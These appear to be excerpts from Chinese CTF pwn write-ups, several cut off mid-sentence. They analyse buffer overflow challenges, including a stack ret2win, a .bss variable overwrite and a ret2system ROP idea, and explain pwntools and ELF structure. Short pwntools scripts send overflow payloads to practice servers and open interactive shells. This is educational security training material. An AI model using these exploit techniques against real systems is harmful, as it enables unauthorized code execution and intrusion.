1.查看文件保护ELF32,开启了NX连接nc让用户输入一个字符串后,返回“Hello World!”退出2. IDA静态分析(1)main程序逻辑很简单,执行vulnerable_function()后,系统输出“Hello World!”(2)vulnerable_function()系统输出提示“echo Input:”定义了一个长度为0x88的数组,但read函数允许用户输入0x100个字符,可以发生缓冲区溢出。(3)整理思路看看程序有没有跟题目level0一样的后门(借助程序自带的可执行代码来执行任意操作),Shift+F12 打开字符串内容窗口查看程序中的字符串,观察到存在 “system” 和 “/bin/sh” 字符串,这是解出题目的关键:可是找不到跟level0中一样可以直接执行system("/bin/sh")的函数了,但是找到了_system函数可以getshell,这里的_system函数参数没有写,需要我们自己将 /bin/sh 作为参数传入 system 函数,考查的是 ROP 编程 :我们可以通过强大的 rop 技术来获得系统权限,可以
1.查看文件保护开启NX运行程序2.IDA静态分析(1)main程序逻辑分析:1)main 函数先调用 setbuf 函数清空缓冲区,然后 puts 函数打印两行提示字符;2)接着 read 函数让我们输入数据存入到 地址为0x601068的空间;3)然后 if 语句判断 60106C 的地址如果存放的数据是 1853186401 的话则调用并执行 sub_400686() 函数;(2)sub_400686()执行系统命令,输出flag.txt3.解题解题关键在与如何让地址0x60106C的值等于1853186401unk_601068和dword_60106C和都在.bss段,位移相差4个字节,而unk_601068是由用户输入的,所以我们可以通过此变量,覆盖掉dword_60106C的值,使其值变为目标数值(1853186401)。【BSS 溢出】缓冲区溢出除了典型的栈溢出和堆溢出外,还有一种发生在 bss 段上的溢出, bss 属于数据段的一种,通常用来保存未初始化的全局静态变量。脚本如下:from pwn import * r = remote("61.147.171
1.查看文件保护机制Pasted image 20231215171744.png只开启了NX(数据不可执行)解题脚本:from pwn import * r = remote("61.147.171.105", 64191) payload = "A" * 0x80 + "a" * 0x8 + p64(0x00400596).decode("iso-8859-1") # 注意这里的payload填充0x80后还需要填充8个字节(64位)的数据来覆盖rbp,之后才是覆盖retn r.recvuntil("Hello, World\n") r.sendline(payload) r.interactive()
Pwntools 是由 Gallopsled 开发的一款专用于 CTF Exploit 的 Python 库,包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄漏等众多强大功能,可以说把 EXP 繁琐的过程变得简单起来。(1)项目地址:https://github.com/Gallopsled/pwntools;(2)官方文档:http://docs.pwntools.com/en/latest/。这里只简单介绍一下它的部分 API 使用:借助 pwntools 编写的 exp 脚本示例:from pwn import * coon = remote('111.200.241.244',65238) #连接远程IP和端口 coon.recv() #接收远程发来的内容 payload = b'a'*4 + p64(1853186401) #构建溢出攻击的payload coon.sendline(payload) #向远程发送我们的payload
一、ELF文件结构Linux下的可执行文件格式为ELF(Executable and Linkable Format),类似Windows的PE格式。ELF文件格式比较简单,PWN参赛者最需要了解的是ELF头、Section(节)、Segment(段)的概念。ELF头必须在文件开头,表示这是个ELF文件及其基本信息。ELF头包括ELF的magic code、程序运行的计算机架构、程序入口等内容,可以通过“readelf-h”命令读取其内容,一般用于寻找一些程序的入口。ELF文件由多个节(Section)组成,其中存放各种数据。描述节的各种信息的数据统一存放在节头表中。ELF中的节用来存放各种各样不同的数据,主要包括:❖ .text节——存放一个程序的运行所需的所有代码。❖ .rdata节——存放程序使用到的不可修改的静态数据,如字符串等。❖ .data节——存放程序可修改的数据,如C语言中已经初始化的全局变量等。❖ .bss节——用于存放程序的可修改数据,与.data不同的是,这些数据没有被初始化,所以没有占用ELF空间。虽然在节头表中存在.bss节,但是文件中并没有对应的数据。在程序
Norman1z